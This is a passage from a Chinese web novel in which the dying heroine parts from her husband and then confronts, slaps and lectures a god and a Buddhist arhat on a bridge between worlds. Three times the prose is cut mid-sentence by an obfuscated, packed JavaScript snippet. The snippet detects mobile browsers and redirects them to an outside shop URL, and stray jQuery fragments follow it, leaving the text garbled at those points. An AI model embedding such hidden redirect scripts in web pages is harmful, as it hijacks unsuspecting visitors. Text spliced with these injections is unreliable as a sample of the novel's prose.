花祝年白了马卡龙一眼:“你当然让大家豁出去了,反正耗的又不是你的命。” 可是她的声音,淹没在台下将士一声声的鼓劲儿中。 人散去后,马卡龙又开始让人给花祝年灌参汤。 一碗喝不进几口,全吐了出来。 和昨天一样。 第二次的攻占,同样很激烈,一直打到了深夜。 如风和畅所预料的那般,打胜了。 贺平安被众人簇拥着归来,衡羿的颈上又栓上了链子。 这是贺平安以正夫的名义,对他进行的荡男羞辱。 马卡龙听风和畅的建议,将在高台上吹了两天风,钉坐了两天的花祝年,抱去了贺平安面前。 贺平安一把夺了过来,原本带笑的脸上忽然变色:“谁让你碰她的?” 马卡龙不自觉地往后退了几步:“我,我有媳妇儿,有仨呢。” “你有几个跟我有什么关系?老子问你谁让你碰她的!” 其实,有时候,虽然身边有个军师,但是也不能全听军师的。 因为,不知道对方是不是有意在坑你。 风和畅上前解围道:“花祝年现在是我们的首领,理应由最高的礼仪来对待。” 贺平安本来还想再吵几句,衡羿看自己小信徒的脸色很不好,他上前关心道:“你是不是,有话要说?” 花祝年已经无力点头了。 她跟孙子一样,风吹日晒了两天,还留着一口气就不错了。 贺平安这时候也注意到,自己婆娘的异常。 他急忙将她抱去了屋子里。 外面的光线不好,看不清楚,直到到了屋子里,他才看见她这一身的血。 肩前有两个血窟窿。 贺平安急得变了声:“这,这这怎么弄的?谁把你伤成这样?你告诉我,我活劈了他们!” 马卡龙吓得缩到了人群之后。 当时只想着拿她来鼓舞士气,竟忽略了后续的处理。 唉,都怪军师没有提醒他。 军师风和畅是故意不提醒的,他当初就是觉得马卡龙是个草包,才想着让他作为自己的傀儡,实行自己的诸多计谋。 现在,他已经找到新的傀儡了。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13689764|132764||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>不再需要旧的了。 花祝年用仅剩的力气,扯了扯贺平安带血的衣领。 示意他,自己有话要跟他说。 贺平安凑了过去,听她用虚弱到极点的气声,嘱咐他:“你跟王寡妇,好好过。” 贺平安想过很多花祝年垂死之际说的话。 有对他的咒骂,也有对他的爱语。 可是,怎么也没想到,她留给他的,居然是这样一句话。 她到死,还想着照顾她的老姐妹儿。 让他跟别的人搭伙过日子。 而她这样做的目的,无非是为了证明,她没错。 人人都是搭伙过日子的。 贺平安现在又生气,又痛苦,他总是被她气哭。 气得咬牙切齿,想睡死她。 可她就要死了。 他再也没办法睡她了,也没办法对她发疯,问她为什么不爱他。 可能,这个答案,他永远也找不到了。 贺平安痛哭出声。 “你敢死,我就杀了王寡妇!我让你到死都记着她。你倒是给我留句话啊!以后,我怎么过啊?没有你,我怎么活啊!你给我留句话,留句关于我的话。听到没有!回答老子,不然老子就掐死你!” 花祝年觉得贺平安这一辈子,真是很可惜。 他若是爱的是别人,应该不会这么痛苦的。 她也不想到死,都没爱上他。 可是,又实在是想不出什么别的话来对他讲。 而且,她觉得自己就要死了,如果再多说一些让他留恋的话,那他跟王寡妇还怎么过? 花祝年想了想,又笑着骂他道:“鳖孙——” 至于,后面的话,是什么,贺平安已经无从知晓了。 因为她已经咽了气。 她是想要给他擦泪的,她的手还停留在半空。 贺平安握住她的手,一时没有缓过神来。 总觉得她还活着。 他把她的手贴靠在自己脸上:“婆娘,你要跟我说啥啊?你继续说啊。” “我是个鳖孙,没说不是。你骂得对啊。” “我知道你这辈子过得不痛快,但是,你别丢下我啊。” “这以后,我怎么活啊……” 贺平安碎碎念的同时,衡羿已然转身走了出去。 方才簇拥着贺平安的队伍里,有一个人——兵革仙。 他要求她,送自己去见他的小信徒。 相较于贺平安这种一边不可置信,一边痛哭流涕,衡羿是冷静许多的。 他冷血得简直不像人。 不过,他本来也不是人,他是神。 对他而言,只是换了个地方,跟小信徒见面而已。 这并不是什么值得伤心的事。 况且,他与她之间的这段缘分,总算是可以了结了。 他终于能继续回到天上,做他至高无上的神明了。 再没有什么人能打扰到他。 他不会再因为谁发疯无措,不会再因为谁用阴谋害人,不慎被天道绞成肉泥,不会再因为念着谁,为了看她的一颦一笑,在一面破镜子面前站了三十年。 那样的生活,他终于不用再过了。 她死得好。 不仅她解脱了,他也解脱了。 83. 也是在五十岁高龄 兵革仙问他:“你此去,之后是要回天上去了?” “嗯。你也早点回去。人间没什么意思,缘起缘灭,并不值得留恋。” 话虽是这么说,可他的心不免空落落的。 这次,他是真的要跟她分离了。 因为是最后一次见她,衡羿还特意精心装扮了一番。 从将军装,换到新郎装,又换成薛尘第一次跟她见面的一袭白衣…… 只是,怎么看,都更像他自己,半点也不像薛尘。 思来想去,衡羿还是穿了件仙界的常服,去看她了。 又不是去相亲的,那么在意着装做什么? 反正,小信徒是个很痴愚的人,无论他穿什么,她应该都会喜欢他。 等他去找她的时候,发现她坐在连接阴阳两界的桥上等他。 桥的两侧,是人间的两甲子。 六十年一甲子,坐在桥上,能看到过去和未来的一百二十年。 每个去投胎的人,都会看到这里的景象。不过,大多无人在意。 花祝年坐的那侧,是人间今后一百二十年的景象。 生灵涂炭,比现在还惨。 天意不可违,违了就要付出代价。衡羿和兵革仙所见到的三十年乱世,还只是前奏。 乱世究竟终结在何人手中,没有人知道。 其实,就算后续天道真的选出人来,也未必能收拾好这个烂摊子。 已经烂透了,乱得越久,越难收拾。 衡羿走到花祝年身后,略带拘谨地拍了拍她的肩。 花祝年转过身,仰起头来看他。 只看了一眼,便低下头去,她摸了摸自己的脸,下意识地用双手捂住。 他现在,还是很年轻。 可她的样子,已经不是当初那样了。 花祝年捂着脸,低声说道:“坐吧。” 语气随意到,好像这座桥,是她家的一样。 衡羿贴靠着她坐了下来。 他离她很近。 可是,她在感觉到两人之间的距离后,竟然往旁边挪了挪。 衡羿忽地转过头看向她,不知道她为什么这样做。 花祝年闷声道:“有点儿热。” 其实,是她被劫持后,有几天不洗澡了,不知道身上会不会有味道。 第一次做鬼,没有经验。 衡羿没有再靠过去。 他本来,就不算是太主动的人。 况且,这次他是要跟她提分手的,也是要斩断情分的。 的确是不能再给她留什么念想。 花祝年冷静了一会儿,才犹豫着对他问道:“你、你现在,封神了吗?” “嗯。多谢你呀。” 她没有理会他的道谢,只是轻声说道:“那真是,太好了。我本来,还担心,自己死得太早,你没办法封神呢。” 衡羿淡淡地“嗯”了一声。 他也不知道,该对她说些什么,总不能说,他早就封神了。 他如今所拥有的一切,跟她半点关系都没有。 可能是他有些冷淡的缘故,她又等了他三十年,所以不免有些没话找话:“当神仙,是什么感觉啊?” “没什么感觉。” 衡羿没有说假话,当神仙就是淡淡的感觉。 对一切都不会动情。 不然,就不算一个合格的神。 当然,除了有特殊职能的神仙之外,像兵革仙那种的,性情就极为暴戾。 生来就是为了反抗,所以在人间待的日子,比在仙界还长久。 至于他这种平衡三界的,是不能有太大情绪波动的。 他的一念之间,影响太大了。 有时候,有太多的念想,不见得是好事。 花祝年不是死缠烂打的人。 她是能从对方的情绪里,感知到些什么的。 他不喜欢她,对她也没什么感觉。 她知道的。 当初,虽说她很想在死后,他能以夫君的名义来接自己。 可也只是想想罢了。 这门亲事,本来就是她强求的,他若不认,还能怎么样呢? 他能让她再见到他,她已经很开心了。 花祝年为了打消薛尘的顾虑,主动地说道:“我没什么事,你可以离开了。” 衡羿本来还在思索着,要怎么跟她提自此分开的话。 没想到她竟自己讲出来了。 她不讲的时候,他总觉得不踏实,生怕她赖上自己。 可她突然放他走,他又不那么想走了。 衡羿问她道:“我走了,你怎么办呢?” “我不怎么办。我在这里歇会儿。你快走吧,不然,我不自在。” 他看得出来,她不自在。 自从他出现后,她就一直是含胸驼背地捂着脸。 虽然他们同坐在桥上,可她始终是微微侧着身子,背对着他的。 她不想他看见她皱纹遍布的脸,也不想他看见她灰白的发。 衡羿开口道:“不过是皮囊而已,你不用如此在意。” 花祝年无奈地轻笑。 她哪里是在意皮囊呢?她在意的,是他眼中的自己。 哪怕,在他还只是寄生在小泥人儿里的时候,她就已经被他看了三十年。 可以前是以前,现在是现在。 这是她所能留给他的最后印象了,她不想太狼狈。 宁愿给他一个微微侧身的背影。 只是见他还不走,她坐着也无聊,便又忍不住跟他讲话。 衡羿有一搭没一搭地回着。 他总是这样,在她准备放弃的时候,就勾一勾她,等她迎上来,又泼她冷水。 可她还是乐此不疲,只要不被拒绝,就总是欢喜的。 追逐别人的感觉,真好啊。 也是在五十岁高龄,谈上恋爱了,满心都在冒粉红泡泡。 她等了他三十年,也就为了这一二分的心动时刻吧。 忽然觉得,也挺值。 安逸啊。 真是好安逸。 衡羿说着说着,又怕她离不开自己,于是便对她催促道:“你该去投胎了。走过这道桥,有人会接引你的。” 花祝年看着桥下,人间今后这一百二十年的乱象,忍不住对衡羿问道:“神仙也没办法救这些人吗?” 衡羿平静而淡漠道:“是人间自己把自己搞成了这个样子,神仙是无法插手的。” 花祝年捂着脸的手,渐渐地掉落下来。 她以为,薛尘只是对她比较冷漠,因为担心她赖上他。 没想到,他对众生,也是如此冷漠的。 花祝年转过身,用自己苍老的脸,面对着眼前的人。 这还是她第一次,这样长久地看他。 她试图从他的眼眸中找些什么东西,可是找了很久,都没有找到。 他的眼眸里,没办半分情绪。 像一尊冰冷的塑像。 比她给他塑的小泥人儿像,还要没有情感。 花祝年的心蓦地有些失落。 她又对他问道:“神仙每天都在做什么呢?” “做自己的事。” “那会看一看人间吗?” “偶尔,也会。” “可既然知道人间的百姓在受苦,为什么就不能来救一救呢?” “各有各的因果,这是没办法的事。” 花祝年听完忽地冷笑一声:“那看来,仙界的建制和人间的也没什么两样。修道者,勤勉修炼,终登天庭,便不再理人间事。读书人,辛苦读书,等做了官儿,也是不管百姓的。” 衡羿忽然就破大防了。 他觉得,小信徒这无异于,在讽刺他跟宋礼遇没什么区别。 可还是有区别的。 至少,神仙从不为自己谋福利,只是以超脱的眼光看待世间而已。 他从桥上站起来说道:“你还有完没完?死了就去投胎!在这桥上坐着,到底是想干什么?这又不是你该管的事,你自己的事情都管不过来,管神仙救不救世做什么?” 她仰起头看着他,语气不甘又委屈:“你说的轻巧,倘若我去投胎,将来是一百二十年的乱世,要受一百二十年的罪,甚至是更久的时间,怎么连问一句都不能吗?” 衡羿的话语中,难掩对她的轻视:“告诉你答案又能怎么样呢?人间的帝王不会理会一个农妇早上吃什么。仙界至高无上的神,自然也不会理会凡人的生死。大家都是修上来的,各自有别的事要忙,你算什么东西,凡人又算什么东西?天天要别人抛下一切,独独关注着你。” “天道有自己的运转法则,你又能窥探到些什么?所有人都是,祸福无门,咎由自取!你自己痴愚得要命,还想把别人也拉下水么?” 衡羿现在其实是相当恐慌的。 他的内心甚至,非常抗拒跟她讲话。 也特别想逃离。 生怕再多跟她说一句话,他就会堕入万劫不复的境地。 而且,他的情绪已经开始失控了。 每到这种时候,他都觉得自己蠢得简直令人发指! 到底在跟她纠缠什么? 所站的维度不同,看到的东西也不一样,她并不知道人间的乱象,是天道所降的惩罚。 况且,就算知道,可能她还是会想有神仙能救一救。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13701682|132764||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 毕竟,她一向不记仇。 但这跟他没有半分关系,也不是他该管的事。 大乱才会大治,没有谁能带着所有人,跳出某个阶段。 她到底在妄想什么? 花祝年已经老了,她连站起来,都有些勉强。 可她还是扶着桥面,颤巍巍地站了起来。 她沉声道:“你不是他。” 衡羿最听不了的就是这个! 花祝年总能精准地惹毛,所有跟她有关系的男人。 连神也不例外。 衡羿现在一整个就是接连破大防的状态,被她气得差点吐血。 他癫怒道:“是,我确实不是!” “那个蠢货已经死了三十年了!我怎么可能是他?” “你到底知不知道,人死不能复生,是什么意思?” “我现在是神,多跟你说一句话,都是多余!” “坦白讲,我现在都不知道你到底要干嘛?死了就老老实实去投胎啊,你不要指望我能给你什么。” “我什么都给不了!” “算我求求你,不要再缠着我了,好不好?” 衡羿说得急了,当即跪下来,哐哐给她磕了三个响头。 他跪在地上,不敢直视她的眼睛,一个劲儿地拒绝道:“我根本就不喜欢你,我甚至从来就没有喜欢过你。” 这种话,很伤人。 衡羿也是一边说,一边嗷嗷哭。 他都不知道该怎么办了。 求求她,快点儿走吧。 再不走,要么他忍不住违逆天道接她去天上,要么他就是落得跟上衡一样的下场。 可是,他放着大好的神仙日子不过,凭什么要被一个痴愚的女人给带累呢? 他明明是至高无上的神,到底在留恋她什么啊! 衡羿一直在竭力地抗拒自己被她吸引。 这是他修道这么多年,第一次感到彻骨的恐惧。 一着不慎,满盘皆输。 他跪在地上哭得泣不成声,又哐哐地给她磕了几个头。 说话是一次比一次硬气。 “现在,我半点关系都不想跟你扯上!你就别总对我,问东问西的了。我没有任何义务要回答你这些。” “也不知道怎么就被你喜欢上了。我真的求求你,求求你放过我!也请你,千万不要再喜欢我了。” 衡羿越说越愧疚,越愧疚就越哐哐地给她磕头。 他是真的没办法了。 他已经被她搞得连着三十年,都对着面破镜子挠心挠肺地发疯了。 她就不要再影响他了! 他也是被她的痴愚给逼疯了。 现在的情况是,他自己都怕自己从了她。 只能劝她赶紧去投胎转世,就此了结两人之间的前缘。 她在这里多待一秒,他就会多一秒的煎熬。 花祝年低头用衣袖擦了擦泪,尽量用平静的语气说道:“我知道了。” 被人这样当场戳穿她喜欢他,又被他如此激烈地拒绝。 还是挺丢人的。 不过,好在她心理承受能力还可以。 所以倒也没怎么难受。 她反而对他劝道:“你放心吧,我不会再喜欢你了。之前,我一直不愿意接受你的死亡,总觉得你还陪在我身边,现在看到你做神仙的样子,我才终于确定,薛尘是真的死了。” 以后的路,她要一个人走了。 花祝年头也不回地,往来时的方向走去。 衡羿突然警觉,他从地上爬起来,一把将她拉拽了回来。 可能是她的身体不好,也可能是他拉得力气太大,竟直接将她甩去了地上。 花祝年摔得有些疼,主要是心有些疼。 衡羿低头看了看自己的手,他没有想这样对她的。 只是,刚把她扶坐起来,又忍不住责问她:“你到底要干什么?我让你去阴间投胎,你往阳间的方向走什么?你不知道一回去,就会魂飞魄散吗?以后,就再没办法以任何形式,存在于这个世界上了。” “我知道呀。我本来,也是不准备去投胎的。我不接受未来的乱世,自然有权利选择不去。” 她说得十分轻巧。 仿佛这是一件理所应当的事。 那个至高无上的神,一边被他倔强的小信徒气得嗷嗷哭,一边将她紧抱在怀里,哽咽着对她大发脾气:“你是不是,故意让我难受?你想让我忘不了你,就故意以死在我面前的方式,让我永远记住你。” “我告诉你,你休想!你就是现在灰飞烟灭,从此再也找寻不见,我眼都不会眨一下。我都已经看透你了。你真是,好歹毒的心思!” 84. 你倒是大声点儿啊! 花祝年并没有让薛尘难受的心思。 他误会她了。 她从没想过靠着让一个人愧疚,来绑住谁。 喜欢就在一起,不喜欢就分开。 在感情上,耍心机玩手段,都太可怜了。就算千方百计,呕心沥血……也只留得住人一时,又留不住一世。 她是个很敞亮的小老太,才不做那样的傻事。 可能是看他哭得实在厉害,花祝年忍不住替他擦去脸上的泪水。 她粗粝的指腹,抹蹭着他的脸。 “我做什么选择,都跟你没有关系。肯定是我喜欢才做的,你不用这样难过。” 衡羿痛哭嘶吼道:“谁难过了?你就是死一万次,都跟我没有关系!我又不喜欢你,我甚至讨厌你。不服管,又不听劝,自己跟个无头苍蝇一样乱撞,撞死都没有人在乎你!你懂吗?在这个世界上,根本就没有人在乎你!” 花祝年叹了口气,抬手轻蹭去他下巴处淌下来的泪滴。 “知道了,别哭了。” 也不知道怎么回事,她越擦,他哭得就越厉害。 他也不想哭,可是根本控制不住。 一想到他们才只相处了这么点时间,还有他对她发脾气时,她一脸无措的样子…… 衡羿从来没有在倔强的小老太脸上,看到过这样茫然又愧疚的表情,好像她真的做错了什么事一样。 可是,她又做错了什么呢? 她什么都没有做错。 只是喜欢他,她有什么错! 衡羿埋头在她的肩前,哭得浑身颤抖。 他跟贺平安,一个在阴间哭,一个在阳间哭。 都是,在跟挚爱告别。 衡羿也是不清楚,他都已经回归神位了,到底为什么还要过这个情关? 受这种别离之苦! “你为什么要这样对我?我本来好好地在天上待着,每一天没有开心,也没有不开心。可自从你……我就没有一天是开心的。你为什么要这么折磨我?我欠你的吗?” 花祝年听完他的话后,一个劲儿地给他道歉:“对不起啊,真是对不起你,太对不起你了。我并不知道,自己给你添了这样大的麻烦。薛尘,我是希望你开心的,没有想折磨你。” 说完又拍了拍他的背,把他当儿子一样哄着。 衡羿冷硬的身躯,逐渐塌陷在她的安慰中,他真的很喜欢她的怀抱,也很喜欢被她轻柔地拍拍。 他喜欢她的一切。 可、可是,他不能再这样下去了。 她本来就是应该被他舍弃的。如果不是她不配合自己,现在他早已经送她去投胎了。 古怪的小老太,就知道乱他道心! 衡羿忽地从她肩前起身,哭着斥责她道:“你不要碰我!谁许你碰我了?” 花祝年被他吼得一哆嗦,小心地收回了自己的手。 她坦诚道:“我没有别的意思,只是你不要再哭了。因为,我会很难受。” 衡羿努力地抗拒着她的诱惑,现在她的每句话对他来说,都像是往平静的湖面,投入了一颗石子一样。 她丢完了跑了,让他以后怎么过? 这个情,他必须跟她断得干干净净,不能有一点误会的那种。 他被她气得冷笑了一下。 “你看谁哭不难受?贺平安哭的时候,你也觉得难受吧!少说这种话来勾引我了,我根本就不会上当。我明白地告诉你,别再白费力气,扰乱我的心了。没有用的!不是你的,不要强求。” 花祝年不是习惯卑微的人,哄人她也哄了,歉她也道了。 还要她怎么样? 怎么说话还越来越难听了?她勾引他什么了? 也没有强求啊! 他是不是得失心疯了? 她对着这个不断啜泣的男人说道:“别哭了,再哭就烦了。” 衡羿一边止不住地哭,一边错愕地看着自己的小信徒。 难以想象,这竟然,是从她嘴里说出来的话。 她这就是不喜欢他了吧。 是吧! 不然,怎么会如此冷漠地对他呢? 就连贺平安哭,她都会抱抱的,到了他这里,他才哭了几声,她,居然,嫌他烦? 他看她根本也没有那么喜欢他! 不行,又想哭了。 可惜,比眼泪更先出现在他脸上的,是巴掌。 花祝年把他摁到地上,抽了他两巴掌,心里终于舒服了几分。 “一天天地,哭哭哭,福气都让你哭没了。” “你永远不会喜欢我这件事,我已经接受了。这本就是你的自由,谁逼着你喜欢了吗?干嘛一副被我强迫的样子?” 衡羿委屈地被小信徒摁在地上,道心碎了一地。 他不可置信地看着她:“你、你……你打我?” 之前她不知道他的身份,一直打他就算了,他也不是不能忍。 现在他是她供奉了三十年的人,别人摔一下那个小泥人儿,她就会大病一场,可见有多在乎。 但她还是就这样打了他…… 花祝年暴躁道:“打你怎么了?我都不知道,你一直在哭什么。” “不过是和离这点儿事,你至于唧唧歪歪这么半天吗?” “我都说了,以后我跟你没关系!做什么也不用你管。谁要你愧疚了?你愧疚得着吗?关你屁事啊!” “一直哭,一直哭,嗷嗷哭,烦死了。谁家男人像你这样哭唧唧,怎么哄都哄不好?我又不是没哄你,还让我怎么着?” “你都封神了,以后都是平静的好日子。你到底在委屈什么?” “是我自己不想以任何形式存在这个世界上的,我他妈真是烦透这个逼世道了!” “别说你从来都不喜欢我,我也根本不留恋你啊。你也不配我受几辈子的苦,做些什么事来跟你再续前缘。况且,我与你,从来都是我固执强求,也并没有什么前缘可续。” “我这样讲,你明白了吗?放心了吗?我永远,都不会再跟你产生半点儿关系!” “你就在天上好好待着吧。我从一开始,就没想跟你怎么着。你不用这么一个劲儿地哭哭哭,视我如洪水猛兽一样。” 衡羿被抽了几巴掌,终于老实了。 可还是好委屈啊。 她都要消失不见了,怎么还要抽他呢? 他小心地扯了扯她的衣袖,不成想被她一把甩开。 衡羿可怜巴巴道:“扶我起来。” 花祝年垂眸看了他一眼,不情不愿地去扶他。 只是还没将他扶起来,她自己颈上突然套了圈佛珠。 勒得死死的,金身罗汉往后一拉,就将她拽出去好远。 衡羿从地上猛然起身。 金身罗汉对衡羿行礼后说道:“我说过,她是要下地狱的。” 不等衡羿说话,被死死勒住的花祝年,奋力挣扎道:“我为什么,要下地狱?” “那日,你路过一寺庙,只因对方不济你斋饭,就放火杀我佛弟子众多。杀孽太重。” 花祝年被他气得狠了,一把揪住脖子上的佛珠,猛地往下一拽。 金身罗汉一时失手,竟真被她抢了过去。 一个小老太,哪来那么大牛劲? 花祝年二话不说,抡着佛珠就砸了过去:“你大爷的!惹谁不好,非要在这个时候来惹我。” 真是让他赶上好时候了。 正是刚死不久,怨气冲天,还被喜欢的人拒绝了个彻底,满腔怒火没地方发泄。 金身罗汉再有金身护体,也经不住花祝年这么抡。 她抡得又猛又狠,他连施法的机会都没有,已经被她打断好几次了。 佛珠明明只是一串而已,可锤在他身上,却密集如骤雨,发出噼里啪啦的响声。 衡羿在一旁看得倒吸一口凉气。 他都有点心疼了。 金身罗汉本来脑袋就大,现在被打得更大了。 身上也被打得凹进去了好几处。 花祝年也是不白打,一边打一边振振有词,让对方挨打挨得明明白白的。 “光杀别人了,忘杀你了!” “那是不济我斋饭的事儿吗?那是他不普度众生!既然不普度众生,干嘛占众生的地界?不知道自己干嘛吃的啊!” “一群又淫又假烂了肛的和尚在里面厮混,连《地藏菩萨本愿经》都不知道,老子用里面的话骂他们,他们都听不懂!那时候,你干嘛去了?那是你的佛弟子吗?你他妈的怎么管的?” “佛门怎么落魄成这样?就算你们什么人都收,你他妈的倒是度啊!” “跟一群烂和尚在一起,怎么能念好经呢?” “老子帮你清理门户,你还敢让老子下地狱,你上边儿到底是谁?谁让你抓的老子,你把他给老子喊过来!我今天,非要跟他掰扯掰扯。你给他千里传个音,让他过来领你。” 金身罗汉哪儿敢再把上边儿的人给喊过来。 喊过来再被她暴揍一顿,那传出去不成了笑话? 他对衡羿发难道:“你到底管不管!你不管,我可就说了。” 衡羿心里也怕,金身罗汉说出些什么东西来。 现在他以薛尘的身份,就已经挨了她好几巴掌了。 她要是知道,他早在三十年前,就回归神位了,那肯定揍得比金身罗汉还惨。 他为难地上前劝道:“别打了。他也是奉旨办事。” 花祝年本来已经气到了极点,听到薛尘居然帮对方说话,暴脾气真是压都压不住。 她转过身,一佛珠抡在脸上,把他抡得趴倒在地。 衡羿现在没有灵力护体,还是靠着兵革仙,才来到了这里。 她每抡他一下,他感觉自己骨头,都要被她抡裂了。 花祝年一边打,一边歇斯底里道:“你不喜欢我,真的没什么关系。但是,你不要是非不分。” “别人不知道路上的事,你还不知道吗?当时,我被逼成什么样?我都想死了!我那么痛苦,一直把你抱在怀里。你明明都清晰地感知得到,我所有的痛苦,是怎么说得出不让我打的话的?我打死他们这群鳖孙都不解气!” “他妈的,一个个,占着茅坑不拉屎。在佛门之地,消耗信徒的信仰。真是不害臊啊!这个逼世道,就是让你们这群逼神仙,逼罗汉给搞坏的。” “你说老子该下地狱,老子就该下地狱了?老子还说老子该上天呢!你算什么东西,也敢决定老子的去处。” 她说完,又猛抡了衡羿一佛珠。 “还有你,你又算什么玩意儿,就连你的神位,也是靠着老子才封的。非要让老子去投那个逼胎?老子就是不投!当人当够了,别的也不想当,就是不想活了!没有人能再让我吃一丝苦,我就是不想再吃苦了,这有什么错?” 衡羿感觉浑身上下都被打散了一样。 动都动不了。 金身罗汉也没好到哪里去,他是真不想受这个活罪。 唉,两口子吵得正热闹的时候,你说他过来瞎掺和什么啊! 金身罗汉被打服后,无奈地劝她道:“施主,既然你读过《地藏菩萨本愿经》那应该知道,‘一时佛在忉利天为母说法……能于五浊恶世,现不可思议大智慧神通之力,调伏刚强众生,知苦乐法。’你就是经中说的那刚强众生,为何不遵从菩萨法旨?” 金身罗汉说完还碰了碰衡羿,让他赶紧帮着劝劝。 衡羿弱怂地说道:“对,《道德经》也有言,柔弱,胜刚强。” 说完,又趴在了地上,等待她的一顿暴揍。 哪料等了很久,都没有等到。 衡羿抬起头来看她,却发觉她满脸泪水。 花祝年想到了自己的娘亲,之前读《地藏菩萨本愿经》也是受娘亲的影响。 她沉静下来说道:“地藏菩萨,我知道的,她是个好人。为了救自己的娘亲,立宏誓愿,地狱不空,誓不成佛。可是,她知道后世人把经给念歪了吗?” “调伏刚强众生,是没什么错处的。我是刚强不假,可独独我刚强吗?那些杀人越货的土匪,草菅人命的狗官,愚弄百姓的权谋者,以折磨人为乐的世家子弟,一心想着翻身压迫人的读书人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13717762|132764||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,有哪一个,不是刚强众生呢?为何这种话,独独对着我讲!” 花祝年走到衡羿面前,对着他猛踢了几脚。 “还有你,柔弱胜刚强。老子说的是吧,那老子不听。可以吧?” 趴在地上的衡羿无奈地点头。 她什么时候听过他的话?这本就在他的意料之中。 金身罗汉让他帮着劝,他也就装装样子劝一下,也没指望真能劝动她什么。 只要金身罗汉,别把他是三界的神这件事说出来就好。 “就连古文经学和今文经学,被后世篡改得都不少,你怎么知道老子的话,没有被篡改过呢?那帮高高在上的逼玩意儿,为了规训世人,什么逼话讲不出来?我为什么要听?” 花祝年之前在家里读书的时候,就已经感觉到了。 有些经典,是被篡改过的。 为了达到某种不可言说的目的。尽信书,不如无书。人的感知,永远是最重要的。 感觉不对劲儿的话,就不应该听信。 同样是人,自己的脑子,干嘛被人三言两语地指挥着? “况且,就算老子的话,没有被篡改。老子一生,都讲究无为而治,不折腾百姓。柔弱胜刚强这种话,应该用来约束权势者,你跟我一个小老太说个屁啊!也不怕闪了舌头!规训我干嘛?有的说说,没的道道,闲得你蛋疼!” 衡羿默默地叹气。 她还真是无差别地骂着每一个人。 山野糙汉她骂,老年权臣也骂,白月光也骂。 爱和恨都这样浓烈。 花祝年越说越来气,越气就越转着圈儿地骂大街。 “其实也不光你们佛道两家,被后世这群逼人念歪了经。儒家和法家又何尝不是呢?儒家把人的舌头割掉让人变哑巴,法家把人的腿打断让人趴着走。要么你就从上到下,全都约束,要么你就彻底都不要约束。只约束下边的人,完全沦为高位者的统治工具,算怎么回事?” “老孔天天说,‘为政以德,譬如北辰,居其所,而众星拱之’有人听吗?老孟说,‘民为贵,社稷次之,君为轻’有人在意吗?法家严刑峻法,结果现在刑不上士大夫,钻法度控子的不管,天天拿着法度震慑百姓。” “所有圣人的言论,诞生之初,应该是为了保护百姓吧。他们大概也不知道,自己的每一个字,没能约束得了高位者,最后竟全压在了百姓身上。” “你们少拿这些来约束规训我,我是一个字儿都不会听的!” 一百斤的小老太,一万斤的反骨。 花祝年转悠着就去到了阳间的路口。 强光照得她的背有些疼。 她转过身想最后再看一看他,看一看这个自己供奉了三十年的人。 其实,她并不怪他。 当神仙了,自然有神仙的规矩。 跟她是没什么相干的,她也不在乎他今后的神仙生活。 但是,送薛尘封神,花祝年是不后悔的。 她怜惜的是那个跟她一样,甚至比她还要勇敢一些的少年。 在她困在家里,对宋礼遇一家,还有那些欺负小生意人的差吏,恨得咬牙切齿的时候,他已经提着刀杀了个痛快。 完成了自我的救赎,也走完了他人的因果。 哪怕他成仙后变得谨小慎微了,也是没什么关系的。 她永远喜欢没死之前的他,就是仅凭那份喜欢,也是愿意送他封神的。 他不必觉得歉疚。 薛尘现在已经变了,他成仙后,大概也觉得当初不应造下杀戮。 变了就变了吧,也情有可原。 可她,永远,不会变。 衡羿颤声劝她道:“不要再往前走了。去投胎吧。如果你潜心修……” 他本意是想让她潜心修道,日后说不定还会再见面。 可是在乱世,若没有好的际遇,就会跟之前遇到的那些女子一样,变成暗娼。 花祝年轻笑了一下:“我说过,你不值得我世世受苦,我也,不想再见你了。你不是薛尘,薛尘已经死了。你现在是神仙,跟那些高高在上的神仙,没有任何不同。对我而言,已经不再独特了。” 金身罗汉心想,那还是有些独特的。 他可是最大的神。 只是,现在也和自己一样,被打得动不了一点儿。 其实,他跟衡羿,都并非单单是被她的武力压制。 一个小老太,就算有使不完的牛劲,也无法同时制服两个男人。 只是,被她的话所折服,没办法对着这样的人动手。 佛珠是用来降魔的,小老太又不是魔。 她就仅仅是一个,性情暴躁的小老太而已。 打这样的小老太,应该会损功德吧,别到时候再给他贬乱世投胎去了。 况且,各有各的缘法,他们今天挨这顿打,也算是活该吧。 金身罗汉正思索的时候,忽然听身旁趴在地上的衡羿低头说道:“你回来,我娶你。” 金身罗汉吓得一哆嗦,吓完又不免提醒他:“你倒是大声儿点啊!离得这么远,她听不见。” 花祝年轻声道:“我听见了。” 衡羿扶着金身罗汉的肩,磨蹭了好久,才勉强从地上站起来。 金身罗汉在一边儿疼得直哎呦。 